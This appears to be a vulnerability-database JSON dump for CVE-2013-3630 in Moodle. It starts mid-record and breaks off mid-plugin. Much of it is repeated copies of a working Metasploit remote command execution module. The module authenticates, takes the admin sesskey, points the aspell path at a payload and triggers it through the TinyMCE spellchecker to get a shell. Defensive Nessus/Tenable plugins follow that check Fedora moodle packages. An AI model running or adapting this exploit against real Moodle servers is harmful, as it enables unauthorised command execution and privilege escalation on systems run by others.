'/login/index.php'),\r\n 'vars_post' => post,\r\n 'cookie' => sess\r\n })\r\n\r\n if !login or login.code != 303\r\n fail_with(\"Login failed\")\r\n end\r\n\r\n sess = login.get_cookies\r\n\r\n print_status(\"Getting session key to update spellchecker if no session key was specified\")\r\n\r\n sesskey = ''\r\n if datastore['SESSKEY'] == ''\r\n tinymce = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',\r\n 'cookie' => sess\r\n })\r\n\r\n tinymce.body.each_line do |line|\r\n next if line !~ /name=\"sesskey\"/\r\n sesskey = line[0..line.index('>')]\r\n end\r\n\r\n if sesskey == ''\r\n fail_with(\"Unable to get proper session key\")\r\n end\r\n\r\n sesskey = REXML::Document.new sesskey\r\n sesskey = sesskey.root.attributes[\"value\"]\r\n else\r\n sesskey = datastore['SESSKEY']\r\n end\r\n\r\n post = {\r\n 'section' => 'editorsettingstinymce',\r\n 'sesskey' => sesskey,\r\n 'return' => '',\r\n 's_editor_tinymce_spellengine' => 'PSpellShell',\r\n 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'\r\n }\r\n\r\n print_status(\"Updating spellchecker to use the system aspell\")\r\n\r\n post = {\r\n 'section' => 'systempaths',\r\n 'sesskey' => sesskey,\r\n 'return' => '',\r\n 's__gdversion' => '2',\r\n 's__pathtodu' => '/usr/bin/du',\r\n 's__aspellpath' => payload.encoded,\r\n 's__pathtodot' => ''\r\n }\r\n\r\n aspell = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),\r\n 'vars_post' => post,\r\n 'cookie' => sess\r\n })\r\n\r\n spellcheck = '{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}'\r\n\r\n print_status(\"Triggering payload\")\r\n\r\n resp = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),\r\n 'data' => spellcheck,\r\n 'ctype' => 'application/json',\r\n 'cookie' => sess\r\n })\r\n\r\n if !resp or resp.code != 200\r\n fail_with(\"Error triggering payload\")\r\n end\r\n\r\n end\r\nend\n\n# 0day.today [2018-01-04] #", "cvss": {"score": 4.6, "vector": "AV:NETWORK/AC:HIGH/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/21422"}], "packetstorm": [{"lastseen": "2016-12-05T22:24:35", "description": "", "published": "2013-10-30T00:00:00", "type": "packetstorm", "title": "Moodle Remote Command Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2013-3630"], "modified": "2013-10-30T00:00:00", "id": "PACKETSTORM:123853", "href": "https://packetstormsecurity.com/files/123853/Moodle-Remote-Command-Execution.html", "sourceData": "`## \n# This module requires Metasploit: http//metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'msf/core' \nrequire 'rexml/document' \n \nclass Metasploit4 < Msf::Exploit::Remote \nRank = GoodRanking \n \ninclude Msf::Exploit::Remote::Tcp \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info={}) \nsuper(update_info(info, \n'Name' => 'Moodle Remote Command Execution', \n'Description' => %q{ \nMoodle allows an authenticated user to define spellcheck settings via the web interface. \nThe user can update the spellcheck mechanism to point to a system-installed aspell binary. \nBy updating the path for the spellchecker to an arbitrary command, an attacker can run \narbitrary commands in the context of the web application upon spellchecking requests. \n \nThis module also allows an attacker to leverage another privilege escalation vuln. \nUsing the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey \nand use this to escalate privileges to that of an admin, allowing the module to pop a shell \nas a previously unprivileged authenticated user. \n \nThis module was tested against Moodle version 2.5.2 and 2.2.3. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module \n], \n'References' => \n[ \n['CVE', '2013-3630'], \n['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen \n['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] \n], \n'Payload' => \n{ \n'Compat' => \n{ \n'PayloadType' => 'cmd', \n'RequiredCmd' => 'generic perl ruby bash telnet python', \n} \n}, \n'Platform' => ['unix', 'linux'], \n'Arch' => ARCH_CMD, \n'Targets' => [['Automatic',{}]], \n'DisclosureDate' => 'Oct 30 2013', \n'DefaultTarget' => 0 \n)) \n \nregister_options( \n[ \nOptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']), \nOptString.new('PASSWORD', [ true, \"Password to authenticate with\", '']), \nOptString.new('SESSKEY', [ false, \"The session key of the user to impersonate\", \"\"]), \nOptString.new('TARGETURI', [ true, \"The URI of the Moodle installation\", '/moodle/']) \n], self.class) \nend \n \ndef exploit \ninit = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/index.php') \n}) \n \nsess = init.get_cookies \n \npost = { \n'username' => datastore[\"USERNAME\"], \n'password' => datastore[\"PASSWORD\"] \n} \n \nprint_status(\"Authenticating as user: \" << datastore[\"USERNAME\"]) \n \nlogin = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/login/index.php'), \n'vars_post' => post, \n'cookie' => sess \n}) \n \nif !login or login.code != 303 \nfail_with(\"Login failed\") \nend \n \nsess = login.get_cookies \n \nprint_status(\"Getting session key to update spellchecker if no session key was specified\") \n \nsesskey = '' \nif datastore['SESSKEY'] == '' \ntinymce = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', \n'cookie' => sess \n}) \n \ntinymce.body.each_line do |line| \nnext if line !~ /name=\"sesskey\"/ \nsesskey = line[0..line.index('>')] \nend \n \nif sesskey == '' \nfail_with(\"Unable to get proper session key\") \nend \n \nsesskey = REXML::Document.new sesskey \nsesskey = sesskey.root.attributes[\"value\"] \nelse \nsesskey = datastore['SESSKEY'] \nend \n \npost = { \n'section' => 'editorsettingstinymce', \n'sesskey' => sesskey, \n'return' => '', \n's_editor_tinymce_spellengine' => 'PSpellShell', \n's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' \n} \n \nprint_status(\"Updating spellchecker to use the system aspell\") \n \npost = { \n'section' => 'systempaths', \n'sesskey' => sesskey, \n'return' => '', \n's__gdversion' => '2', \n's__pathtodu' => '/usr/bin/du', \n's__aspellpath' => payload.encoded, \n's__pathtodot' => '' \n} \n \naspell = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), \n'vars_post' => post, \n'cookie' => sess \n}) \n \nspellcheck = '{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}' \n \nprint_status(\"Triggering payload\") \n \nresp = send_request_cgi({ \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), \n'data' => spellcheck, \n'ctype' => 'application/json', \n'cookie' => sess \n}) \n \nif !resp or resp.code != 200 \nfail_with(\"Error triggering payload\") \nend \n \nend \nend \n`\n", "cvss": {"score": 4.6, "vector": "AV:NETWORK/AC:HIGH/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/123853/moodle_cmd_exec.rb.txt"}], "metasploit": [{"lastseen": "2020-10-12T22:18:40", "description": "Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3.\n", "published": "2013-10-30T15:25:48", "type": "metasploit", "title": "Moodle Remote Command Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2013-3630"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/HTTP/MOODLE_CMD_EXEC", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rexml/document'\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => 'Moodle Remote Command Execution',\n 'Description' => %q{\n Moodle allows an authenticated user to define spellcheck settings via the web interface.\n The user can update the spellcheck mechanism to point to a system-installed aspell binary.\n By updating the path for the spellchecker to an arbitrary command, an attacker can run\n arbitrary commands in the context of the web application upon spellchecking requests.\n\n This module also allows an attacker to leverage another privilege escalation vuln.\n Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey\n and use this to escalate privileges to that of an admin, allowing the module to pop a shell\n as a previously unprivileged authenticated user.\n\n This module was tested against Moodle version 2.5.2 and 2.2.3.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\n ],\n 'References' =>\n [\n ['CVE', '2013-3630'],\n ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen\n ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']\n ],\n 'Payload' =>\n {\n 'Compat' =>\n {\n 'PayloadType' => 'cmd',\n 'RequiredCmd' => 'generic perl ruby telnet python',\n }\n },\n 'Platform' => ['unix', 'linux'],\n 'Arch' => ARCH_CMD,\n 'Targets' => [['Automatic',{}]],\n 'DisclosureDate' => '2013-10-30',\n 'DefaultTarget' => 0\n ))\n\n register_options(\n [\n OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\n OptString.new('PASSWORD', [ true, \"Password to authenticate with\", '']),\n OptString.new('SESSKEY', [ false, \"The session key of the user to impersonate\", \"\"]),\n OptString.new('TARGETURI', [ true, \"The URI of the Moodle installation\", '/moodle/'])\n ])\n end\n\n def exploit\n init = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/index.php')\n })\n\n fail_with(Failure::Unreachable, 'No response received from the target.') unless init\n sess = init.get_cookies\n\n post = {\n 'username' => datastore[\"USERNAME\"],\n 'password' => datastore[\"PASSWORD\"]\n }\n\n print_status(\"Authenticating as user: \" << datastore[\"USERNAME\"])\n\n login = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/login/index.php'),\n 'vars_post' => post,\n 'cookie' => sess\n })\n\n if !login or login.code != 303\n fail_with(Failure::NoAccess, \"Login failed\")\n end\n\n sess = login.get_cookies\n\n print_status(\"Getting session key to update spellchecker if no session key was specified\")\n\n sesskey = ''\n if datastore['SESSKEY'] == ''\n tinymce = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',\n 'cookie' => sess\n })\n\n sesskey = tinymce.get_hidden_inputs[1]['sesskey']\n unless sesskey\n fail_with(Failure::UnexpectedReply, \"Unable to get proper session key\")\n end\n else\n sesskey = datastore['SESSKEY']\n end\n\n post = {\n 'section' => 'editorsettingstinymce',\n 'sesskey' => sesskey,\n 'return' => '',\n 's_editor_tinymce_spellengine' => 'PSpellShell',\n 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'\n }\n\n print_status(\"Updating spellchecker to use the system aspell\")\n\n post = {\n 'section' => 'systempaths',\n 'sesskey' => sesskey,\n 'return' => '',\n 's__gdversion' => '2',\n 's__pathtodu' => '/usr/bin/du',\n 's__aspellpath' => payload.encoded,\n 's__pathtodot' => ''\n }\n\n aspell = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),\n 'vars_post' => post,\n 'cookie' => sess\n })\n\n spellcheck = '{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}'\n\n print_status(\"Triggering payload\")\n\n resp = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),\n 'data' => spellcheck,\n 'ctype' => 'application/json',\n 'cookie' => sess\n })\n\n if !resp or resp.code != 200\n fail_with(Failure::PayloadFailed, \"Error triggering payload\")\n end\n\n end\nend\n", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/moodle_cmd_exec.rb"}], "nessus": [{"lastseen": "2021-01-12T10:11:20", "description": "Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 14, "published": "2013-11-25T00:00:00", "title": "Fedora 19 : moodle-2.4.7-1.fc19 (2013-21397)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2013-6780"], "modified": "2013-11-25T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:19", "p-cpe:/a:fedoraproject:fedora:moodle"], "id": "FEDORA_2013-21397.NASL", "href": "https://www.tenable.com/plugins/nessus/71066", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2013-21397.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(71066);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-3630\", \"CVE-2013-6780\");\n script_xref(name:\"FEDORA\", value:\"2013-21397\");\n\n script_name(english:\"Fedora 19 : moodle-2.4.7-1.fc19 (2013-21397)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025655\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025656\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030084\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030085\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-foss-disclosures-part-one\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?525142bc\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?c21b826a\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122391.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?a74fd84e\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://yuilibrary.com/support/20131111-vulnerability/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected moodle package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:S/C:P/I:P/A:P\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Moodle Remote Command Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:moodle\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:19\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/11/15\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^19([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 19.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC19\", reference:\"moodle-2.4.7-1.fc19\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"moodle\");\n}\n", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2021-01-12T10:11:20", "description": "Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 14, "published": "2013-11-25T00:00:00", "title": "Fedora 20 : moodle-2.5.3-1.fc20 (2013-21312)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-3630", "CVE-2013-6780"], "modified": "2013-11-25T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:moodle", "cpe:/o:fedoraproject:fedora:20"], "id": "FEDORA_2013-21312.NASL", "href": "https://www.tenable.com/plugins/nessus/71063", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2013-21312.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(71063);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-3630\", \"CVE-2013-6780\");\n script_xref(name:\"FEDORA\", value:\"2013-21312\");\n\n script_name(english:\"Fedora 20 : moodle-2.5.3-1.fc20 (2013-21312)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Latest upstreams, multiple security fixes.\n\nName: CVE-2013-6780 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6780 Assigned:\n20131112 Reference:\nhttps://yuilibrary.com/support/20131111-vulnerability/\n\nCross-site scripting (XSS) vulnerability in uploader.swf in the\nUploader component in Yahoo! YUI 2.5.0 through 2.9.0 allows remote\nattackers to inject arbitrary web script or HTML via the allowedDomain\nparameter.\n\nName: CVE-2013-3630 URL:\nhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630\n[Open'>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3630'>Op\nen URL] Assigned: 20130521 Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-foss-disclosures-part-one\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-foss-disclosures-part-one'>Open URL] Reference:\nhttps://community.rapid7.com/community/metasploit/blog/2013/10/30/seve\nn-tricks-and-treats\n[Open'>https://community.rapid7.com/community/metasploit/blog/2013/10/\n30/seven-tricks-and-treats'>Open URL]\n\nMoodle through 2.5.2 allows remote authenticated administrators to\nexecute arbitrary programs by configuring the aspell pathname and then\ntriggering a spell-check operation within the TinyMCE editor.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025655\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1025656\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030084\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1030085\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-foss-disclosures-part-one\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?525142bc\"\n );\n # https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?c21b826a\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2013-November/122440.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?d830f1df\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://yuilibrary.com/support/20131111-vulnerability/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected moodle package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:S/C:P/I:P/A:P\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Moodle Remote Command Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:moodle\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:20\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2013/11/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/11/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^20([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 20.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC20\", reference:\"moodle-2.5.3-1.fc20\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, 